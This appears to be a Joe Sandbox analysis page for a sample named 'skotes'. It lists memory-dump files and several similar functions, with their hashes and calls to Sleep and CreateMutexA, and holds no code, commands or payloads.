Associated: 00000003.00000002.2130258501.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130285723.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130314104.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130343691.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130377900.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130407121.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130435434.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130463785.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130494407.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130513928.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130542648.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130571774.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130601712.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130632593.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130664972.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130694571.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130727542.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130756249.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130784043.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130815299.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130845980.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130873177.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130906655.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130934277.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130955162.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130983058.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131014285.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131044456.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131074407.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131103454.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131138904.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131167750.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131210388.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131311489.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131340771.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131371485.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131402146.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131431152.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131460230.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131491491.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131521992.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131550877.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8559d7e9ad2ae1a78652c500ac55195bb0ab5d6601b0c00e8edd5a51de770a1f
Instruction ID: 318b74674d2e251e9fdd73f64ba6ec389cce2ece843b540270218a65d8242e32
Opcode Fuzzy Hash: 8559d7e9ad2ae1a78652c500ac55195bb0ab5d6601b0c00e8edd5a51de770a1f
Instruction Fuzzy Hash: C6316C717102088BEB0CDB78EC84BBDBBA2FBC5324F208618E168D73D5CB7659808752

Function 008FA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000003.00000002.2129372535.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000003.00000002.2125989913.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129372535.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129710627.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129809682.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129844524.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130029159.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130058027.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130149235.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130177859.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130209223.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130238869.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130258501.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130285723.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130314104.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130343691.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130377900.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130407121.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130435434.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130463785.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130494407.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130513928.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130542648.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130571774.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130601712.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130632593.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130664972.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130694571.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130727542.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130756249.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130784043.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130815299.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130845980.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130873177.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130906655.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130934277.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130955162.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130983058.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131014285.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131044456.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131074407.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131103454.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131138904.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131167750.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131210388.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131311489.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131340771.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131371485.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131402146.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131431152.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131460230.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131491491.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131521992.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131550877.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 65ce5f01fd90b8d885062d4bace8ce35e2dea30d9865fd2257ed2ca3b4919a41
Instruction ID: 7b3637dc6b489076345335c06789f741ecd1ab6d6defacc542999498ba92aec7
Opcode Fuzzy Hash: 65ce5f01fd90b8d885062d4bace8ce35e2dea30d9865fd2257ed2ca3b4919a41
Instruction Fuzzy Hash: CF312971B112089BEB0C9B78DD85B7DBB72EBC1324F248618E128D77D5C77659808753

Function 008FA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000003.00000002.2129372535.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000003.00000002.2125989913.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129372535.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129710627.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129809682.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129844524.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130029159.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130058027.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130149235.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130177859.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130209223.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130238869.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130258501.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130285723.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130314104.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130343691.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130377900.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130407121.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130435434.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130463785.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130494407.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130513928.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130542648.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130571774.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130601712.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130632593.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130664972.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130694571.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130727542.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130756249.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130784043.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130815299.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130845980.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130873177.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130906655.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130934277.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130955162.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130983058.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131014285.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131044456.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131074407.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131103454.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131138904.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131167750.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131210388.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131311489.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131340771.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131371485.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131402146.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131431152.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131460230.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131491491.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131521992.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131550877.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6f2ba4148d2d69dc931042de0db800455253a205729637464daf1a6addf5f4cc
Instruction ID: e88c0f56a7951094d8d1c90324496ccd053d9ce71435034e7698d64798c1a436
Opcode Fuzzy Hash: 6f2ba4148d2d69dc931042de0db800455253a205729637464daf1a6addf5f4cc
Instruction Fuzzy Hash: 3D313971B112089BEB0C9B7CDC88B7DBB62FBC6324F208628E128D73D1C77659808712

Function 008FA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000003.00000002.2129372535.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000003.00000002.2125989913.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129372535.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129710627.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129809682.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129844524.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130029159.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130058027.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130149235.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130177859.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130209223.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130238869.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130258501.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130285723.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130314104.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130343691.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130377900.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130407121.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130435434.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130463785.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130494407.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130513928.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130542648.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130571774.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130601712.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130632593.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130664972.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130694571.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130727542.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130756249.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130784043.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130815299.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130845980.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130873177.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130906655.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130934277.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130955162.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130983058.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131014285.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131044456.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131074407.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131103454.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131138904.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131167750.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131210388.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131311489.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131340771.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131371485.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131402146.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131431152.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131460230.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131491491.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131521992.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131550877.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6181bb96c50a0f778ed08f69f7a546c4fe3b5fe0848809951fbf093b862c7cb4
Instruction ID: 1ea369892e392a8ca23b40e6d951aaf87088fd20214cdcd16760e1d6a4844d70
Opcode Fuzzy Hash: 6181bb96c50a0f778ed08f69f7a546c4fe3b5fe0848809951fbf093b862c7cb4
Instruction Fuzzy Hash: 7A314B71B102088BEB0CDB78DC89B7DBB61FBD1324F208218E228D73C5D7B559808657

Function 008FA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000003.00000002.2129372535.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000003.00000002.2125989913.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129372535.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129710627.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129809682.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129844524.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130029159.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130058027.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130149235.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130177859.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130209223.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130238869.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130258501.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130285723.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130314104.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130343691.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130377900.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130407121.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130435434.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130463785.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130494407.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130513928.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130542648.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130571774.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130601712.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130632593.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130664972.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130694571.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130727542.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130756249.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130784043.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130815299.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130845980.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130873177.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
